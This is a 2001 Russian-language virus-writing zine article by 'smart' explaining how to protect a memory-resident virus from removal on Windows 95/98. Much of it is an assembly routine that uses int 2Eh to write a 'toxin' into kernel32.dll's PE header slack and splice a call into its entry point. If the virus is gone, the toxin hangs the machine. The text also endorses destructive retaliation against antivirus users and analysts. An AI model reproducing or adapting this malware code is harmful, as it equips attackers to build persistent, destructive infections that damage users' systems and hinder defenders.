_____ _____     ___
    _,┌\/┐  :░  :░     :░ ╓ social distortion all about vx-scene ╖
 ,4\┘¤"``"¤┘  ll  l¤`     ll  ::;;;::;;....  ....:;..: ::...;.:;;;:;
:░(_          |    ___    ll ._
 `└/|│S|/┐,_ |¤`┌\╙¤"¤╜/:: |╓,._  O "токсинах" [2001]
_____ ``^"¤└/L, d7┘` ___  7l:;%%|.$|
$$$$|_ | `7;?( |asd| :: |$$$|$| by smart [m_youth]
$$$$|/┌,.__,┌\:`4│/┐,_  _ll  ``''""¤¤┘┘
$$$$|`└/|││|\┘`   `¤└/│:


                               О "ТОКСИНАХ"
                           ~~~~~~~~~~~~~~~~~~~~
    В этой  статье  я  расскажу о защите вируса от удаления из памяти. Этот
способ, состоит в  модифицировании  некоторой  системной  области (например
kernel32.dll) с целью вставить туда проверку на наличие  вируса в памяти, и
в случае его отсутствия принимаем соответствующие меры.
    Известно, что в kernel нельзя писать обычными способами. Но есть и нео-
бычные. Например использование int 2eh. С помощью  этого  прерывания  можно
писать куда угодно, выкладывая кой-чего  на  защиту  памяти. Кроме  того, у
int 2e есть ещё множество других интересных функций.Подробнее об этом полез-
ном прерывании - статья "Описание функций int 2e" by Z0MBiE.
    Копирование памяти с помощью int 2e осуществляется так:

         push   длина
         push   источник
         push   приёмник
         mov    edx,esp
         mov    eax,10ah
         int    2eh

    Т.е. копируется n байт из источника в приёмник. Для того чтобы вставить
в kernel свой код нам нужно найти для него свободное место. Таковым являет-
ся "зазор" между PE-заголовком и первой секцией. Для  kernel'a в win98 этот
зазор составляет 3520 байт, для win95 будет гораздо меньше,но для небольшой
процедуры вполне хватит.
    Далее делаем сплайсинг - заменяем  первую  инструкцию  kernel32.dll  на
call наш_код. В kernele из win98 первой инструкцией будет mov eax,1 На дру-
гих windows я не проверял, но скорее всего должно быть то же  самое. Инстр-
рукция mov eax,1 будет эмулироваться нашим кодом. Так делается в процедуре,
приведённой в этой статье, и это самый  простой способ. Но можно  применить
и более уёбистую технологию: перехватываются n штук API (где  n - случайное
число) через export table и при вызове каждой из этих API  будет вызываться
и наш "токсин" Причём токсины располагаются в случайных местах памяти (а их
немало).Это нужно для того, чтобы было невозможно затереть  код  токсина, и
вставить вместо него выход из процедуры. То есть, удаление вируса из памяти
будет представлять  непростую  задачу (или даже невозможную), сопряжённую с
риском того, что что-нибудь зависнет/заглючит/отформатируется.
    Вот процедура, реализующая самый простейший вариант:

────┤ cut here ├────────────────────────────────────────────────────────────
create_toxin: ; записываем в kernel32.dll код "токсина"
             pop         ebx ; сохраним в ebx адрес возврата, т.к. содержимое
                             ; стека в процессе работы процедуры будет
                             ; опоганено
             mov         esi,0bff70000h       ;─┐         вычисляем адрес
             add         esi,[esi+3ch]        ; ├─────┬─> свободного места
             movzx       ecx,word ptr [esi+6] ; │     │   за заголовком PE
             imul        ecx,28h              ;─┘     │
; вычисляем entrypoint kernel32.dll                   │
             mov         edi,[esi+28h]                │
             add         edi,0bff70000h               │
                                 ─┐                   │
             add         esi,ecx  │                   │
             add         esi,0f8h ├───────────────────┘
                                 ─┘
; записываем в pe-header наш код
        push         toxin_end - toxin
        lea          edx,[ebp+toxin-start]
        push         edx
        push         esi
        call         copy_memory
; записываем на место первой комманды kernel32.dll переход на нашу
; подпрограмму
        push         5
        lea          edx,[ebp+call_xxx-start]
        push         edx
        push         edi
        sub          esi,edi              ─┐
        sub          esi,5                 ├─ ; рассчитываем call
        mov          [ebp+_abc-start],esi ─┘
        call         copy_memory
        push         ebx ; засунем в стек адрес возврата из процедуры
        ret

call_xxx: db    0e8h
_abc      dd    0

; *** TOXIN *** ├────────────────────────────────────────────────────┐
toxin:  pushad                                                       │
                                                                     │
           [ здесь вставите свою проверку на наличие в памяти]       │
           jz        memory_infected                                 │
                                                                     │
     ; Ну а дальше проявляем агрессию. На то есть несколько причин:  │
     ; ■ Отучаем юзера от вредной привычки пользоваться антивирусами │
     ; ■ Делаем бесплатную "рекламу" AV                              │
     ; ■ Затрудняем исследование вируса. Жёсткий деструктивный код   │
     ;   может замедлить время анализа в десятки раз.                │
                                                                     │
     ; В данном случае будем более гуманны:                          │
pizdec:    cli                                                       │
           jmp       short pizdec                                    │
                                                                     │
memory_infected:popad                                                │
        mov         eax,1  ; эмулируем первую комманду kernel32.dll  │
        ret                                                          │
toxin_end: ├─────────────────────────────────────────────────────────┘


copy_memory: add         esp,4
             mov         eax,10ah ; i2E_RtlCopyMemory
             mov         edx,esp
             int         2eh
             sub         esp,4
             ret

────┤ cut here ├────────────────────────────────────────────────────────────

                              (x) 2001 smart / misdirected_youth_all-star